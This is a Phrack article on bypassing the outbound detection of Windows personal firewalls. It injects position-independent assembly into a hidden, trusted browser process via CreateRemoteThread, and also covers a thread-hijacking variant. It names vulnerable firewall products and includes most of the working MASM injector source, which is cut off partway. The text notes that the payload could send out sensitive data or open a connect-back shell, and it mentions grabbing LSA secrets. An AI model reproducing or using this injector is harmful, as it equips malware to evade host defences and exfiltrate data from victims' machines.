- [TCPVIEW] Network Tool
http://www.sysinternals.com/ntw2k/source/tcpview.shtml
- [LISTDLLS] DLL listing tool
http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml
- [PROCEXP] Process Explorer
http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
- [VICE] Catch hookers!
http://www.rootkit.com
- [PEB]
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%2
0Objects/Process/PEB.html
- [PEBSHLCDE]
http://madchat.org/coding/w32nt.rev/RW32GS.txt
```

```
|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0d of 0x10

```
|=--=[  Using Process Infection to Bypass Windows Software Firewalls ]=--=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ rattle ]=---------------------------------=|
```

-[0x00] :: Table Of Contents ---

[0x01] introduction
[0x02] how software firewalls work
[0x03] process Infection without external .dll
[0x04] problems of implementation
[0x05] how to implement it
[0x06] limits of this implementation
[0x07] workaround: another infection method
[0x08] conclusion
[0x09] last words

[0x0A] references

[0x0B] injector source code
[0x0C] Tiny bypass source code
[0x0D] binaries (base64)

-[0x01] :: introduction --

This entire document refers to a feature of software firewalls
available for Windows OS, which is called "outbound detection".
This feature has nothing to do with the original idea of a
firewall, blocking incomming packets from the net: The outbound
detection mechanism is ment to protect the user from malicious
programs that run on his own computer - programs attempting to
communicate with a remote host on the Internet and thereby
leaking sensible information. In general, the outbound detection
controls the communication of local applications with the
Internet.

In a world with an increasing number of trojan horses, worms
and virii spreading in the wild, this is actually a very handy
feature and certainly, it is of good use. However, ever since
I know about software firewalls, I have been wondering whether
they could actually provide a certain level of security at all:
After all, they are just software supposed protect you against
other software, and this sounds like bad idea to me.

To make a long story short, this outbound detection can be
bypassed, and that's what will be discussed in this paper.
I moreover believe that if it is possible to bypass this one
restriction, it is somehow possible to bypass other restrictions
as well. Personal firewalls are software, trying to control
another piece of software. It should in any case be possible
to turn this around by 180 degrees, and create a piece of
software that controls the software firewall.

Also, how to achieve this in practice is part of the discussion
that will follow: I will not just keep on talking about abstract
theory. It will be explained and illustrated with sample source
code how to bypass a software firewall by injecting code to a
trusted process. It might be interesting to you that the method
of runtime process infection that will be presented and explained
does not require an external DLL - the bypass can be performed
by a stand-alone and tiny executable.

Thus, this paper is also about coding, especially Win32 coding.
To understand the sample code, you should be familiar with

Windows, the Win32 API and basic x86 Assembler. It would also be good to know something about the PE format and related things, but it is not necessary, as far as I can see. I will try to explain everything else as precisely as possible.

Note: If you find numbers enclosed in normal brackets within the document, these numbers are references to further sources. See [0x0A] for more details.

-[0x02] :: how software firewalls work ----------------------------------

Of course, I can only speak about the software firewalls I have seen and tested so far, but I am sure that these applications are among the most widely used ones. Since all of them work in a very similar way, I assume that the concept is a general concept of software firewalls.

Almost every modern software firewall provides features that simulate the behaviour of hardware firewalls by allowing the user to block certain ports. I have not had a close look on these features and once more I want to emphasize that breaking these restrictions is outside the scope of this paper.

Another important feature of most personal firewalls is the concept of giving privileges and different levels of trust to different processes that run on the local machine to provide a measure of outbound detection. Once a certain executable creates a process attempting to access the network, the executable file is checksummed by the software firewall and the user is prompted whether or not he wants to trust the respective process.

To perform this task, the software firewall is most probably installing kernel mode drivers and hooks to monitor and intercept calls to low level networking routines provided by the Windows OS core. Appropriately, the user can trust a process to connect() to another host on the Internet, to listen() for connections or to perform any other familiar networking task. The main point is: As soon as the user gives trust to an executable, he also gives trust to any process that has been created from that executable. However, once we change the executable, its checksum would no longer match and the firewall would be alerted.

So, we know that the firewall trusts a certain process as long as the executable that created it remains the same. We also know that in most cases, a user will trust his webbrowser and his email client.

-[0x03] :: process Infection without external .dll ----------------------

The software firewall will only calculate and analyze the checksum for an executable upon process creation. After the process has been loaded into memory, it is assumed to remain the same until it terminates.

And since I have already spoken about runtime process infection, you certainly have guessed what will follow. If we cannot alter the executable, we will directly go for the process and inject our code to its memory, run it from there and bypass the firewall restriction.

If this was a bit too fast for you, no problem. A process is loaded into random access memory (RAM) by the Windows OS as soon as a binary, executable file is executed. Simplified, a process is a chunk of binary data that has been placed at a certain address in memory. In fact, there is more to it. Windows does a lot more than just writing binary data to some place in memory. For making the following considerations, none of that should bother you, though.

For all of you who are already familiar with means of runtime process infection - I really dislike DLL injection for this purpose, simply because there is definitely no option that could be considered less elegant or less stealthy.

In practice, DLL injection means that the executable that performs the bypass somehow carries the additional DLL it requires. Not only does this heaviely increase the size of the entire code, but this DLL also has to be written to HD on the affected system to perform the bypass. And to be honest - if you are really going to write some sort of program that needs a working software firewall bypass, you exactly want to avoid this sort of flaws. Therefore, the presented method of runtime process infection will work completely without the need of any external DLL and is written in pure x86 Assembly.

To sum it all up: All that is important to us now is the ability to get access to a process' memory, copy our own code into that memory and execute the code remotely in the context of that process.

Sounds hard? Not at all. If you have a well-founded knowledge of the Win32 API, you will also know that Windows gives a programmer everything he needs to perform such a task. The most important API call that comes to mind probably is CreateRemoteThread(). Quoting MSDN (1):

 The CreateRemoteThread function creates a thread that
 runs in the address space of another process.

```
 HANDLE CreateRemoteThread(
   HANDLE hProcess,
   LPSECURITY_ATTRIBUTES lpThreadAttributes,
   DWORD dwStackSize,
   LPTHREAD_START_ROUTINE lpStartAddress,
   LPVOID lpParameter,
   DWORD dwCreationFlags,
   LPDWORD lpThreadId
 );
```

Great, we can execute code at a certain memory address inside another process and we can even pass one DWORD of information as a parameter to it. Moreover, we will need the following 2 API calls:

```
 VirtualAllocEx()
 WriteProcessMemory()
```

they give us the power to inject our own arbitrary code to the address space of another process - and once it is there, we will create a thread remotely to execute it.

To sum everything up: We will create a binary executable that carries the injection code as well as the code that has to be injected in order to bypass the software firewall. Or, speaking in high-level programming terms: We will create an exe file that holds two functions, one to inject code to a trusted process and one function to be injected.

-[0x04] :: problems of this implementation ------------------------------

It all sounds pretty easy now, but it actually is not. For instance, you will barely be able to write an application in C that properly injects another (static) C function to a remote

process. In fact, I can almost guarantee you that the remote
process will crash. Although you can call the relevant API calls
from C, there are much more underlying problems with using a
high level language for this purpose. The essence of all these
problems can be summed up as follows: compilers produce ASM code
that uses hardcoded offsets. A simple example: Whenever you use
a constant C string, this C string will be stored at a certain
position within the memory of your resulting executable, and any
reference to it will be hardcoded. This means, when your process
needs to pass the address of that string to a function, the
address will be completely hardcoded in the binary code of your
executable.

Consider:

```
 void main() {
     printf("Hello World");
     return 0;
 }
```

Assume that the string "Hello World" is stored at offset 0x28048
inside your executable. Moreover, the executable is known to
load at a base address of 0x00400000. In this case, the binary
code of your compiled and linked executable will somewhere refer
to the address 0x00428048 directly.

A disassembly of such a sample application, compiled with Visual
C++ 6, looks like this:

```
  00401597 ...
  00401598 push 0x00428048  ; the hello world string
  0040159D call 0x004051e0  ; address of printf
  0040159E ...
```

What is the problem with such a hardcoded address? If you stay
inside your own address space, there is no problem. However ...
once you move that code to another address space, all those
memory addresses will point to entirely different things. The
hello world string in my example is more than 0x20000 = 131072
bytes away from the actual program code. So, if you inject that
code to another process space, you would have to make sure that
at 0x00428048, there is a valid C string ... and even if there
was something like a C string, it would certainly not be
"Hello World". I guess you get the point.

This is just a simple example and does not even involve all the
problems that can occur. However, also the addresses of all
function calls are hardcoded, like the address of the printf
function in our sample. In another process space, these
functions might be somewhere else or they could even be missing
completely - and this leads to the most weird errors that you
can imagine. The only way to make sure that all the addresses
are correct and that every single CPU instruction fits, we have
to write the injected code in ASM.

Note: There are several working implementations for an outbound
detection bypass for software firewalls on the net using a
dynamic link library injection. This means, the implementation
itself consists of one executable and a DLL. The executable
forces a trusted process to load the DLL, and once it has been
loaded into the address space of this remote process, the DLL
itself performs any arbitrary networking task. This way to bypass
the detection works very well and it can be implemented in a high
level language easiely, but I dislike the dependency on an
external DLL, and therefore I decided to code a solution with one
single stand-alone executable that does the entire injection by
itself. Refer to (2) for an example of a DLL injection bypass.

Also, LSADUMP2 (3) uses exactly the same measure to grab
the LSA secrets from LSASS.EXE and it is written in C.

-[0x05] :: how to implement it ---

Until now, everything is just theory. In practice, you will always encounter all kinds of problems when writing code like this. Furthermore, you will have to deal with detail questions that have only partially to do with the main problem. Thus, let us leave the abstract part behind and think about how to write some working code.

Note: I strongly recommend you to browse the source code in [A] while reading this part, and it would most definitely be a good idea to have a look at it before reading [0x0B].

First of all, we want to avoid as much hardcoded elements as possible. And the first thing we need is the file path to the user's default browser. Rather than generally refering to "C:\Program Files\Internet Explorer\iexplore.exe", we will query the registry key at "HKCR\htmlfile\shell\open\command".

Ok, this will be rather easy, I assume you know how to query the registry. The next thing to do is calling CreateProcess(). The wShowWindow value of the STARTUP_INFO structure passed to the function should be something like SW_HIDE in order to keep the browser window hidden.

Note: If you want to make entirely sure that no window is displayed on the user's screen, you should put more effort into this. You could, for instance, install a hook to keep all windows hidden that are created by the process or do similar things. I have only tested my example with Internet Explorer and the SW_HIDE trick works well with it. In fact, it should work with most applications that have a more or less simple graphical user interface.

To ensure that the process has already loaded the most essential libraries and has reached a generally stable state, we use the WaitForInputIdle() call to give the process some time for intialization.

So far, so good - now we proceed by calling VirtualAllocEx() to allocate memory within the created process and with WriteProcessMemory(), we copy our networking code. Finally, we use CreateRemoteThread() to run that code and then, we only have to wait until the thread terminates. All in all, the injection itself is not all that hard to perform.

The function that will be injected can receive a single argument, one double word. In the example that will be presented in [0x0B], the injected procedure connects to www.phrack.org on port 80 and sends a simple HTTP GET request. After receiving the header, it displays it in a message box. Since this is just a very basic example of a working firewall bypass code, our injected procedure will do everything on its own and does not need any further information.

However, we will still use the parameter to pass a 32 bit value to our injected procedure: its own "base address". Thus, the injected code knows at which memory address it has been placed, in the conetxt of the remote process. This is very important as we cannot directly read from the EIP register and because our injected code will sometimes have to refer to memory addresses of data structures inside the injected code itself.

Once injected and placed within the remote process, the injected code basically knows nothing. The first important task is finding the kernel32.dll base address in the context

of the remote process and from there, get the address of the
GetProcAddress function to load everything else we need. I
will not explain in detail how these values are retrieved,
the entire topic cannot be covered by this paper. If you are
interested in details, I recommend the paper about Win32
assembly components by the Last Stage of Delirium research
group (4). I used large parts of their write-up for the
code that will be described in the following paragraphs.

In simple terms, we retrieve the kernel32 base address from
the Process Environment Block (PEB) structure which itself
can be found inside the Thread Environment Block (TEB). The
offset of the TEB is always stored within the FS register,
thus we can easiely get the PEB offset as well. And since
we know where kernel32.dll has been loaded, we just need to
loop through its exports section to find the address of
GetProcAddress(). If you are not familiar with the PE format,
don't worry.

A dynamic link library contains a so-called exports section.
Within this section, the offsets of all exported functions
are assigned to human-readable names (strings). In fact,
there are two arrays inside this section that interest us.
There are actually more than 2 arrays inside the exports
section, but we will only use these two lists. For the rest
of this paper, I will treat the terms "list" and "array"
equally, the formal difference is of no importance at this
level of programming. One array is a list of standard,
null-terminated C-strings. They contain the function names.
The second list holds the function entry points (the
offsets).

We will do something very similar to what GetProcAddress()
itself does: We will look for "GetProcAddress" in the first
list and find the function's offset within the second array
this way.

Unfortunately, Microsoft came up with an idea for their DLL
exports that makes everything much more complicated. This
idea is named "forwarders" and basically means that one DLL
can forward the export of a function to another DLL. Instead
of pointing to the offset of a function's code inside the DLL,
the offset from the second array may also point to a null-
terminated string. For instance, the function HeapAlloc() from
kernel32.dll is forwarded to the RtlAllocateHeap function in
ntdll.dll. This means that the alleged offset of HeapAlloc()
in kernel32.dll will not be the offset of a function that has
been implemented in kernel32.dll, but it will actually be the
offset of a string that has been placed inside kernel32.dll.
This particular string is "NTDLL.RtlAllocateHeap".

After a while, I could figure out that this forwarder-string
is placed immediately after the function's name in array #1.
Thus, you will find this chunk of data somewhere inside
kernel32.dll:

```
  48 65 61 70 41 6C 6C 6F    HeapAllo
  63 00 4E 54 44 4C 4C 2E    c.NTDLL.
  52 74 6C 41 6C 6C 6F 63    RtlAlloc
  61 74 65 48 65 61 70 00    ateHeap.

  = "HeapAlloc\0NTDLL.RtlAllocateHeap\0"
```

This is, of course, a bit confusing as there are now more null-
terminated strings in the first list than offsets in the second
list - every forwarder seems like a function name itself.
However, bearing this in mind, we can easiely take care of the
forwarders in our code.

To identify the "GetProcAddress" string, I also make use of a

hash function for short strings which is presented by LSD group
in their write-up (4). The hash function looks like this in C:

```
unsigned long hash(const char* strData) {
  unsigned long hash = 0;
  char* tChar = (char*) strData;
  while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
  return hash;
}
```

The calculated hash for "GetProcAddr" is, 0x099C95590 and we
will search for a string in the exports section of kernel32.dll
that matches this string. Once we have the address of
GetProcAddress() and the base address of kernel32, we can
easiely load all other API calls and libraries we need. From
here, everything left to do is loading ws2_32.dll and using the
socket system calls from that library to do whatever we want.

Note: I'd suggest to read [0x0B] now.

-[0x06] :: limits of this implementation ---------------------------------

The sample code presented in this little paper will give you a
tiny executable that runs in RING3. I am certain that most
software firewalls contain kernel mode drivers with the ability
to perform more powerful tasks than this injector executable.
Therefore, the capabilities of the bypass code are obviously
limited. I have tested the bypass against several software
firewalls and got the following results:

```
  Zone Alarm 4        vulnerable
  Zone Alarm Pro 4    vulnerable
  Sygate Pro 5.5      vulnerable
  BlackIce 3.6        vulnerable
  Tiny 5.0            immune
```

Tiny alerts the user that the injector executable spawns the
browser process, trying to access the network this way. It looks
like Tiny simply acts exactly like all the other software
firewalls do, but it is just more careful. Tiny also hooks API
calls like CreateProcess() and CreateRemoteThread() - thus, it
can protect its users from this kind of bypass.

Anyway, by the test results I obtained, I was even more
confirmed that software firewalls act as kernel mode drivers,
hooking API calls to monitor networking activity.

Thus, I have not presented a firewall bypass that works in 100%
of all possible cases. It is just an example, a proof for the
general possibility to perform a bypass.

-[0x07] :: workaround: another infection method --------------------------

Phrack Staff suggested to present a workaround for the problem
with Tiny by infecting an already running, trusted process.
I was certain that this would not be the only thing to take
care of, since Tiny would most likely be hooking our best friend,
CreateRemoteThread(). Unfortunately, I actually figured out that
I had been right, and merely infecting an already running
process did not work against Tiny.

However, there are other ways to force execution of our own
injected code, and I will briefly explain my workaround for
those of you who are interested. All I am trying to prove here
is that you can outsmart any software firewall if you put some
effort into coding an appropriate bypass.

The essential API calls we will need are GetThreadContext() and appropriately, SetThreadContext(). These two briefly documented functions allow you to modify the CONTEXT of a thread. What is the CONTEXT of a thread? The CONTEXT structure contains the current value of all CPU registers in the context of a certain thread. Hence, with the two API calls mentioned above, you can retrieve these values and, more importantly, apply new values to each CPU register in the thread's context as well. Of high interest to us is the EIP register, the instruction pointer for a thread.

First of all, we will simply find an already running, trusted process. Then, as always, we write our code to its memory using the methods already discussed before. This time, however, we will not create a new thread that starts at the address of our injected code, we will rather hijack the primary thread of the trusted process by changing its instruction pointer to the address of our own code.

That's the essential theory behind this second bypass, at least. In practice, we will proceed more cautiously to be as stealthy as possible. First of all, we will not simply write the injection function to the running process, but several other ASM codes as well, in order to return to the original context of the hijacked thread once our injected code has finished its work. As you can see from the ASM source code in [0x0C], we want to copy a chunk of shellcode to the process that looks like this in a debugger:

```
 <base + 0x00> PUSHAD              ; safe all registers
 <base + 0x01> PUSHFD              ; safe all flags
 <base + 0x02> PUSH <base + 0x13> ; first argument: own address
 <base + 0x07> CALL <base + 0x13> ; call the injected code
 <base + 0x0C> POPFD               ; restore flags
 <base + 0x0D> POPAD               ; restore registers
 <base + 0x0E> JMP <orignal EIP>  ; "restore" original context
 <base + 0x13> ...                 ; inject function starts here
```

Remember, this code is being injected at a memory offset very far away from the original context of the thread. That's why we will need a 4 byte - relative address for the JMP.

All in all, this is an easy and simple solution to avoid that our trusted process just crashes after the injected code has run. Moreover, I decided to use an event object that becomes signaled by the injected code once the HTTP request has been performed successfully. This way, the injector executable itself is informed once the injected routine has finished its job. We can then deallocate the remote memory and perform a general cleanup. Stealthieness is everything.

I should say that [0x0C] is a bit more fragile and less reliable than the first bypass shown in [0x0B]. However, this second one will definitely work against all tested firewalls and most probably also against others. Nevertheless, you should bear in mind that it assumes Internet Explorer to be a trusted process without looking up anything in the registry or elsewhere.

Furthermore, I only used this second bypass together with a running instance of Internet Explorer, other applications might require you not to hijack the primary thread, but another one. The primary thread is usually a safe bet as we can assume that it does not block or idle at the moment of infection. However, it could theoretically also happen that the program's interface suddenly freezes because the injected code is running rather than the code that was intended to run. With this very sample program and internet explorer, I did not encounter such problems, though. It also works with "OUTLOOK.EXE" and others, so I think it can be considered a good and stable approach.

-[0x08] :: conclusion ---

I feel that I can be satisfied with the test results I obtained. Although the injector executable is generally inferior to a kernel mode software firewall, it could easiely trick 80% of the most popular software firewall products.

My second bypass even works against all of them, and I am as sure as I can be that an appropriate bypass can actually be coded for every single software firewall. Both of the sample codes merely send a simple HTTP request, but it would actually be quite easy to have them perform any other networking task. For instance, sending an email with sensitive information would work exactly the same way. The injected code would just have to be more sophisticated or rather, larger than the sample provided here.

Bearing in mind that I achieved this with a 5k user-mode application, I am certain that it would be even more easy to bypass any software firewall with an appropriate piece of code running in RING0, eventually hooking low level calls itself. Who knows, perhaps this technique is already being used by people who did the same sort of research. The overall conclusion is: software firewalls are insecure. And I am very much at ease with this generalization: The concept of a software firewall, not the implementation, is the main problem.

Software can not protect you from other software without being at constant risk to be tricked by another piece of software again.

Why is this a risk? This is in fact a huge risk because software firewalls ARE being used on Windows Workstations widely. Within a network, it is commonplace to use both software and hardware firewalls. Moreover, the software firewalls in such networks only serve the very purpose of protecting the network from backdoor programs by supplying some sort of outbound detection. And after all, this protection is obviously too weak.

Apart from the danger for privately used computers, which have hereby been proven to be insufficiently protected against trojan horses and worms, exploitation of a remote Windows Workstation using a software firewall can most definitely involve the use of methods described in this paper. The ASM code for the two bypass samples can be transformed into shellcode for any remote Windows exploit. Once a service a Windows network is found to be vulnerable to a remote exploit, it would be also possible to overcome the outbound detection of the respective software firewall this way.

The sample applications connect to www.phrack.org on port 80, but you can actually infect a trusted process and have it do about anything along the lines of providing a shell by connecting back to your IP.

-[0x09] :: Last Words ---

I'd like to emphasize that I am not responsible for anyone using that sample code with his/her homemade trojan to leech porn from his friend's PC. Seriously, this is just a sample for educational purposes, it should not be used for any kind of illegal purpose.

Thanks a lot to Paris2K for helping me with developing and testing the injector app. Good luck and success with your thesis.

Greets and thanks to drew, cube, the_mystic - and also many thanks to you, jason ... for all your helpful advice.

```
 If you want or need to contact me:


   Email, MSN - rattle@awarenetwork.org
          ICQ - 74684282
      Website - http://www.awarenetwork.org/


 .aware
```

-[0x0A] :: References ---

```
 These are links to projects and papers that have been
 referenced somewhere inside this document.

 (1) The MSDN library provides Windows programmers with almost
     all the reference they need, no doubt about that.

     http://msdn.microsoft.com/

 (2) Another project that bypasses the outbound detection
     of software firewalls. Unfortunately, no source code
     is available and it also uses and external DLL:

     http://keir.net/firehole.html

 (3) LSADUMP2 is the only C source code I found that
     illustrates the method of injecting a DLL into another
     process' address space:

     http://razor.bindview.com/tools/desc/lsadump2_readme.html

 (4) Many respect to the LSD research group for their nice
     and easy-to-read paper "Win32 Assembly Components":

     http://www.lsd-pl.net/documents/winasm-1.0.1.pdf

     Perhaps you might want to check out their entire projects
     section:

     http://lsd-pl.net/projects.html

 (5) Negatory Assembly Studio is my favourite x86 ASM IDE,
     as far as an IDE for Assembly makes sense at all. You
     might need it for the ASM source code provided as I
     make use of it's "standard library" for Win32 calls:

     http://www.negatory.com/asmstudio/
```

-[0x0B] :: injector.exe source code ---------------------------------------

Here you go, this is the injector ASM code. I used Negatory Assembly
Studio 1.0 to create the executable, a nice freeware IDE for creating
programs in ASM for Windows (5). It internally uses the MASM Assembler
and linker, so you might also manage to use the code with MASM only
(you will be lacking the includes, though).

```
.386
.MODEL flat, stdcall

  INCLUDE   windows.inc
  INCLUDE   kernel32.inc
  INCLUDE   advapi32.inc
  INCLUDE   user32.inc


  bypass    PROTO NEAR STDCALL, browser:DWORD  ; injector function
  inject    PROTO NEAR STDCALL, iBase:DWORD    ; injected function


;       The PSHS macro is used to push the address of some
;       structure onto the stack inside the remote process'
;       address space. iBase contains the address where the
;       injected code starts.

PSHS    MACRO  BUFFER
        MOV    EDX, iBase
        ADD    EDX, OFFSET BUFFER - inject
        PUSH   EDX
        ENDM

;       The LPROC macro assumes that pGetProcAddress holds
;       the address of the GetProcAddress() API call and
;       simulates its behaviour. PROCNAME is a string inside
;       the injected code that holds the function name and
;       PROCADDR is a DWORD variable inside the injected
;       code that will retrieve the address of that function.
;       BASEDLL, as the name suggests, should hold the
;       base address of the appropriate DLL.

LPROC   MACRO  BASEDLL, PROCNAME, PROCADDR
        PSHS   PROCNAME
        PUSH   BASEDLL
        CALL   pGetProcAddress
        EJUMP  INJECT_ERROR
        MOV    PROCADDR, EAX
        ENDM

EJUMP   MACRO  TARGET_CODE ; jump when EAX is 0.
        CMP    EAX, 0
        JE     TARGET_CODE
        ENDM


.DATA

        sFail               DB  "Injection failed.",0
        sCapFail            DB  "Failure",0

        REG_BROWSER_SUBKEY  DB  "htmlfile\shell\open\command",0
        REG_BROWSER_KEY     DD  ?

        BROWSER             DB  MAX_PATH DUP(0)
        BR_SIZE             DD  MAX_PATH

        FUNCSZE             EQU inject_end - inject

.CODE


Main:   ; We retrieve the defaul browser path from the
        ; registry by querying HKCR\htmlfile\shell\open\command


        INVOKE  RegOpenKey, HKEY_CLASSES_ROOT, \
                ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY

        CMP     EAX, ERROR_SUCCESS
        JNE     RR

        INVOKE  RegQueryValue, REG_BROWSER_KEY, \
                EAX, ADDR BROWSER, ADDR BR_SIZE
        INVOKE  RegCloseKey, REG_BROWSER_KEY


        ; Now we call the bypass function by supplying the
        ; path to the browser as the first argument.

        INVOKE  bypass, OFFSET BROWSER


RR:     INVOKE  ExitProcess, 0



bypass  PROC NEAR STDCALL, browser:DWORD

        LOCAL   sinf                 :STARTUPINFO
        LOCAL   pinf                 :PROCESS_INFORMATION

        LOCAL   dwReturn             :DWORD ; return value
        LOCAL   dwRemoteThreadID     :DWORD ; thread ID
        LOCAL   thRemoteThreadHandle :DWORD ; thread handle
        LOCAL   pbRemoteMemory       :DWORD ; base address


        ; Get our own startupinfo details out of lazieness
        ; and alter the wShowWindow attribute to SW_HIDE

        INVOKE  GetStartupInfo,ADDR sinf
        MOV     sinf.wShowWindow, SW_HIDE


        ; Create the brwoser process and WaitForinputIdle()
        ; to give it some time for initialization

        INVOKE  CreateProcess,0,browser,0,0,0,0,0,0, \
                ADDR sinf,ADDR pinf
        EJUMP   ERR_CLEAN

        INVOKE  WaitForInputIdle, pinf.hProcess, 10000
        CMP     EAX,0
        JNE     ERR_CLEAN

        MOV     EBX, pinf.hProcess
        MOV     ECX, pinf.hThread


        ; Allocate memory in the remote process' address
        ; space and use WriteProcessMemory() to copy the
        ; code of the inject procedure.

        MOV     EDX, FUNCSZE
        INVOKE  VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \
                PAGE_EXECUTE_READWRITE
        EJUMP   ERR_SUCC

        MOV     pbRemoteMemory,EAX
        MOV     EDX,FUNCSZE

        INVOKE  WriteProcessMemory,EBX,pbRemoteMemory, \
                inject, EDX, 0
        EJUMP   ERR_CLEAN_VF


        ; The code has been copied, create a thread that
        ; starts at the remote address

        INVOKE  CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
                pbRemoteMemory, 0, ADDR dwRemoteThreadID
        EJUMP   ERR_CLEAN_TH
        MOV     thRemoteThreadHandle,EAX
        MOV     dwReturn,0


        ; Wait until the remote thread terminates and see what the
        ; return value looks like. The inject procedure will return
        ; a boolean value in EAX, indicating whether or not it was
        ; successful.

        INVOKE  WaitForSingleObject,thRemoteThreadHandle,INFINITE
        INVOKE  GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn

        ; If the return value equals 0, an error has occured and we
        ; will display a failure MessageBox()

        CMP     dwReturn, 0
        JNE     ERR_CLEAN_TH

        INVOKE  MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16

ERR_CLEAN_TH:
        INVOKE  CloseHandle,thRemoteThreadHandle
ERR_CLEAN_VF:
        INVOKE  VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
ERR_CLEAN:
        INVOKE  TerminateProcess, EBX, 0
        INVOKE  CloseHandle,pinf.hThread
        INVOKE  CloseHandle,pinf.hProcess
ERR_SUCC:
        RET

bypass  ENDP



inject  PROC NEAR STDCALL, iBase:DWORD

        LOCAL k32base           :DWORD
        LOCAL expbase           :DWORD
        LOCAL forwards          :DWORD

        LOCAL pGetProcAddress   :DWORD
        LOCAL pGetModuleHandle  :DWORD
        LOCAL pLoadLibrary      :DWORD
        LOCAL pFreeLibrary      :DWORD

        LOCAL pMessageBox       :DWORD
        LOCAL u32base           :DWORD
        LOCAL ws32base          :DWORD

        LOCAL pWSAStartup       :DWORD
        LOCAL pWSACleanup       :DWORD

        LOCAL pSocket           :DWORD
        LOCAL pConnect          :DWORD
        LOCAL pSend             :DWORD
        LOCAL pRecv             :DWORD
        LOCAL pClose            :DWORD

        JMP IG


        sGetModuleHandle DB "GetModuleHandleA" ,0
        sLoadLibrary     DB "LoadLibraryA"     ,0
        sFreeLibrary     DB "FreeLibrary"      ,0

        sUser32          DB "USER32.DLL"       ,0
        sMessageBox      DB "MessageBoxA"      ,0

        sGLA             DB "GetLastError"     ,0
        sWLA             DB "WSAGetLastError"  ,0

        sWS2_32          DB "ws2_32.dll"       ,0
        sWSAStartup      DB "WSAStartup"       ,0
        sWSACleanup      DB "WSACleanup"       ,0
        sSocket          DB "socket"           ,0
        sConnect         DB "connect"          ,0
        sSend            DB "send"             ,0
        sRecv            DB "recv"             ,0
        sClose           DB "closesocket"      ,0

        wsa LABEL BYTE
         wVersion        DW 0
         wHighVersion    DW 0
         szDescription   DB WSADESCRIPTION_LEN+1 DUP(0)
         szSystemStatus  DB WSASYS_STATUS_LEN+1 DUP(0)
         iMaxSockets     DW 0
         iMaxUdpDg       DW 0
         lpVendorInfo    DD 0

        sAddr LABEL BYTE
         sin_family      DW AF_INET
         sin_port        DW 05000H
         sin_addr        DD 006EE3745H
         sin_zero        DQ 0



        sStartC          DB "SetUp Complete",0
        sStart           DB "Injector SetUp complete. ", \
                            "Sending request:",13,10,13,10

        sRequ            DB "GET / HTTP/1.0",13,10, \
                            "Host: www.phrack.org",\
                            13,10,13,10,0

        sCap             DB "Injection successful",0
        sRepl            DB 601 DUP(0)


IG:     ASSUME  FS:NOTHING           ; This is a MASM error bypass.

        MOV     EAX, FS:[030H]       ; Get the Process Environment Block
        TEST    EAX, EAX             ; Check for Win9X
        JS      W9X

WNT:    MOV     EAX, [EAX+00CH]      ; WinNT: get PROCESS_MODULE_INFO
        MOV     ESI, [EAX+01CH]      ; Get fLink from ordered module list
        LODSD                        ; Load the address of bLink into eax
        MOV     EAX, [EAX+008H]      ; Copy the module base from the list
        JMP     K32                  ; Work done

W9X:    MOV     EAX, [EAX+034H]      ; Undocumented offset (0x34)
        LEA     EAX, [EAX+07CH]      ; ...
        MOV     EAX, [EAX+03CH]      ; ...
K32:    MOV     k32base,EAX          ; Keep a copy of the base address
        MOV     pGetProcAddress, 0   ; now search for GetProcAddress
        MOV     forwards,0           ; Set the forwards to 0 initially

        MOV     pWSACleanup, 0       ; we will need these for error -
        MOV     ws32base, 0          ; checks lateron

        ADD     EAX,[EAX+03CH]       ; pointer to IMAGE_NT_HEADERS
        MOV     EAX,[EAX+078H]       ; RVA of exports directory
        ADD     EAX,k32base          ; since RVA: add the base address
        MOV     expbase,EAX          ; IMAGE_EXPORTS_DIRECTORY

        MOV     EAX,[EAX+020H]       ; RVA of the AddressOfNames array
        ADD     EAX,k32base          ; add the base address
        MOV     ECX,[EAX]               ; ECX: RVA of the first string
        ADD     ECX,k32base             ; add the base address

        MOV     EAX,0                   ; EAX will serve as a counter
        JMP     M2                      ; start looping

M1:     INC     EAX                     ; Increase EAX every loop
M2:     MOV     EBX, 0                  ; EBX will be the calculated hash

HASH:   MOV     EDX, EBX
        SHL     EBX, 05H
        SHR     EDX, 01BH
        OR      EBX, EDX
        MOV     EDX, 0
        MOV      DL, [ECX]              ; Copy current character to DL
        ADD     EBX, EDX                ; and add DL to the hash value
        INC     ECX                     ; increase the string pointer
        MOV      DL, [ECX]              ; next character in DL, now:
        CMP     EDX, 0                  ; check for null character
        JNE     HASH


        ; This is where we take care of the forwarders.
        ; we will always subtract the number of forwarders
        ; that already occured from our iterator (EAX) to
        ; retrieve the appropriate offset from the second
        ; array.

        PUSH    EAX                     ; Safe EAX to the stack
        SUB     EAX,forwards            ; Subtract forwards
        IMUL    EAX,4                   ; addresses are DWORD's
        INC     ECX                     ; Move the ECX pointer to the
                                        ; beginning of the next name

        MOV     EDX, expbase            ; Load exports directory
        MOV     EDX, [EDX+01CH]         ; EDX: array of entry points
        ADD     EDX, k32base            ; add the base address
        MOV     EDX, [EDX+EAX]          ; Lookup the Function RVA
        ADD     EDX, k32base            ; add the base address
        MOV     pGetProcAddress, EDX ; This will be correct once
                                        ; the loop is finished.

        ; Second stage of our forwarder check: If the
        ; "entry point" of this function points to the
        ; next string in array #1, we just found a forwarder.

        CMP     EDX, ECX                ; forwarder check
        JNE     FWD                     ; ignore normal entry points
        INC     forwards                ; This was a forwarder

FWD:    POP     EAX                     ; Restore EAX iterator
        CMP     EBX, 099C95590H         ; hash value for "GetProcAddress"
        JNE     M1

        ; We have everything we wanted. I use a simple macro
        ; to load the functions by applying pGetProcAddress.

        LPROC   k32base, sGetModuleHandle, pGetModuleHandle
        LPROC   k32base, sLoadLibrary, pLoadLibrary
        LPROC   k32base, sFreeLibrary, pFreeLibrary


        PSHS    sUser32                 ; we need user32.dll
        CALL    pGetModuleHandle        ; assume it is already loaded
        EJUMP   INJECT_ERROR            ; (we could use LoadLibrary)
        MOV     u32base,EAX             ; got it

